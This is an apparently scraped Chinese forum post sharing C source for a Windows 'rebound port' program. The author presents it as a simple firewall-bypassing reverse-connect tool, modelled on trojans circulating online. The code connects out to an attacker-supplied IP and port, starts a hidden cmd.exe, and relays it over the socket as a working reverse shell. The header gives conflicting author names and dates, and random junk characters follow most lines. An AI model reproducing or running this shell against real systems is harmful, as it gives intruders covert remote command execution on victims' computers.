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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 AhZ8B'Ee  
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/* ============================== >t<FG2  
Rebound port in Windows NT c8v+eyn  
By wind,2006/7 IX7<  
===============================*/ QU2\gAM  
#include np}F [v  
#include T9osueh4  
!=;^Grv>  
#pragma comment(lib,"wsock32.lib") KDhr.P.~  
Tar tV3;`  
void OutputShell(); (`>RwooE  
SOCKET sClient; %K@D{ )r_^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G9TK)Nz  
2M3.xUS  
void main(int argc,char **argv) ++W_4 B!  
{ k-@CcrepF  
WSADATA stWsaData;  {.GC7dx  
int nRet; )@DH&  
SOCKADDR_IN stSaiClient,stSaiServer; p6$ QTx  
z _~ 5c  
if(argc != 3) UN>!#Ji:$  
{ TL ;2,@H`  
printf("Useage:\n\rRebound DestIP DestPort\n"); +/*g?Vt  
return; 4&~ft  
} 0K <@?cI  
?"]fGp6y  
WSAStartup(MAKEWORD(2,2),&stWsaData); Jtnuo]{R  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'j6PL;~c  
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stSaiClient.sin_family = AF_INET; B @H.O!  
stSaiClient.sin_port = htons(0); XO~xbG7>gZ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gQ %'2m+  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "Sz pFw  
{ ()6)|A<^U  
printf("Bind Socket Failed!\n"); D^W6Cq5\  
return; /-TJtR4>  
} ,i lVt  
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stSaiServer.sin_family = AF_INET; `c ~Va/Yi  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); TMj(y{2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (.-3q;)6  
% < D  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2s_shY<=}L  
{ dVmI.A'nbp  
printf("Connect Error!"); PsU.dv[  
return; 4h\MSTF*  
} QijEb  
OutputShell(); $m]~d6  
} n*(Vf'k  
D$ zKkP YI  
void OutputShell() cobq+Iyu  
{ +/y 3]}  
char szBuff[1024]; M)C. bo{p  
SECURITY_ATTRIBUTES stSecurityAttributes; D_ybgX?0:  
OSVERSIONINFO stOsversionInfo; Y O;N9wu3f  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Sd'!(M^k3  
STARTUPINFO stStartupInfo; dtw1Am#Ci  
char *szShell; ; {$9Sc $  
PROCESS_INFORMATION stProcessInformation; P*_!^2  
unsigned long lBytesRead; Kf2Ob 1  
+QT(~<  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3YVG|Bc~_  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r e.chQ6  
stSecurityAttributes.lpSecurityDescriptor = 0; JG @bl  
stSecurityAttributes.bInheritHandle = TRUE; rT9<_<  
uUu]JDdz  
?W-J2tgss{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [0U!Y/?6lA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;A7HEx  
Ymkk"y.w  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5<\&7P3y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y0fX\6=h  
stStartupInfo.wShowWindow = SW_HIDE; xZZW*d_b  
stStartupInfo.hStdInput = hReadPipe; Is&z~Xy/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]S4TX  
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GetVersionEx(&stOsversionInfo); ,TPNsz|Q  
s1. YH?A;  
switch(stOsversionInfo.dwPlatformId) `W,gYH7  
{ 6AV@O  
case 1: 2mN>7Tj:  
szShell = "command.com"; WW82=2rJ9  
break; 7t=e"|^  
default: m,NUNd#)\  
szShell = "cmd.exe"; ~9c?g(0  
break; DP**pf%j  
} YzJ\< tkp  
_Bm/v^(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L"6qS3[=  
NPy{ =#k4  
send(sClient,szMsg,77,0); y33+^  
while(1) RO?5WJpPj  
{ ZnSDq_Uk  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3qU#Rg ;7  
if(lBytesRead) q'~ ?azg:  
{ H~UxVQLPp  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Njsz=  
send(sClient,szBuff,lBytesRead,0); Tn2nd  
} >fRI^Q,  
else Q/&H3N  
{ sN0S~}F+  
lBytesRead=recv(sClient,szBuff,1024,0); ( P|Ph  
if(lBytesRead<=0) break; 9,wd,,ta  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P6V_cw$  
} qXPjxTg{[  
} ~H!s{$.5  
'0)a|1,  
return; fQ c%a1'  
}
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